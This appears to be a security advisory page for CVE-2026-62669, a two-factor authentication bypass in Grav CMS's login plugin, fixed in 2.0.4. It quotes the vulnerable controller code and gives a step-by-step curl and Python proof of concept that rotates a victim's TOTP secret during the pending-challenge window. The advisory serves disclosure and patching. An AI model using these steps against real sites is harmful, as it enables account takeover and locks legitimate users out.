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Open-source package vulnerability · Composer (PHP)

CVE-2026-62669: Grav: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge

highCVSS 3.1 7.4GHSA-7mgc-c7pq-3rr3

Summary When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user-exists(), not $user-authorized can be called without a CSRF nonce.

Published Sep 2, 2026

Affected packages

getgrav/grav

Ecosystem
Composer (PHP)
Affected
< 2.0.4
Fixed in
2.0.4
Check
composer show getgrav/grav

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofa_secret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.

Details

Four code locations in login plugin v3.8.10 enable the chain:

1. Session user set even with 2FA pending user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.

2. `taskRegenerate2FASecret` - no authorization check user/plugins/login/classes/Controller.php

public function taskRegenerate2FASecret()
{
    $user = $this->grav['user'];
    if ($user->exists()) {                  // ← only checks exists(), NOT authorized()
        $secret = $twoFa->createSecret();
        $user->twofa_secret = $secret;      // overwrites victim's secret on disk
        $user->save();
        $json_response = [
            'status' => 'success',
            'image' => $image,
            'secret' => trim(preg_replace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker
        ];
    }
}

3. No CSRF nonce required user/plugins/login/login.php - the task dispatch switch only validates twofa_cancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.

PoC

Confirmed live on this instance after enabling plugins.login.twofa_enabled: true and configuring TOTP on the user account.

# Step 1: Password-only login (lands in 2FA-pending; keep session cookie)
LOGIN_PAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login")
NONCE=$(echo "$LOGIN_PAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+')
curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \
  "http://127.0.0.1/grav/login" \
  -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"

# Step 2: Regenerate the 2FA secret (NO nonce required)
curl -s -b /tmp/2fa.jar \
  "http://127.0.0.1/grav/login/task:login.regenerate2FASecret"
# {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}

# Step 3: Compute TOTP from the attacker-chosen secret
python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())"
# 152656

# Step 4: Complete 2FA with attacker's TOTP code
curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \
  -d "task=login.twofa&2fa_code=152656"

# Step 5: Verify - fully authenticated as victim
curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout'
# Grav User Logout

Impact

Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.

The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.

Credited to nicl4ssic.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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